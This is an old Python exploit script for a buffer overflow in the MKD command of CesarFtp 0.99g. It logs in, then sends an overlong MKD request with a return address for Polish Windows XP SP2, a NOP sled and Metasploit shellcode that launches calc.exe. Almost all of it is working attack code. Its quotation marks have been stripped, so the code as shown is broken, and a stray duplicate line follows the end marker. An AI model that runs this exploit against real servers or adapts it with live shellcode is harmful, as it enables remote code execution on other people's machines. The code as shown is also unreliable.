Python | .exe

#!/usr/bin/python
#CesarFtp 0.99g 0day Exploit
#Proof of Concept: execute calc.exe
#Tested on XP sp2 polish
#Bug found by h07 [[email protected]]
#Date: 10.06.2006

from socket import *

shellcode = ( #execute calc.exe <metasploit.com>
\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8
\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1
\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07
\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25
\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5
\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d
\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4
\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0
\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c
\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b
\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4)

def intel_order(i):
  a = chr(i % 256)
  i = i >> 8
  b = chr(i % 256)
  i = i >> 8
  c = chr(i % 256)
  i = i >> 8
  d = chr(i % 256)
  str = %c%c%c%c % (a, b, c, d)
  return str

host = 127.0.0.1
port = 21
user = h07
password = open
EIP = 0x7CA58265 #jmp esp <shell32.dll XP sp2 polish>

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send(user %s\r\n % (user))
print s.recv(1024)

s.send(pass %s\r\n % (password))
print s.recv(1024)

buffer = MKD 
buffer += \n * 671
buffer += A * 3 + intel_order(EIP)
buffer += \x90 * 40 + shellcode
buffer += \r\n

print len: %d % (len(buffer))

s.send(buffer)
print s.recv(1024)

s.close()

#EoF

buffer = buffer + \n * 671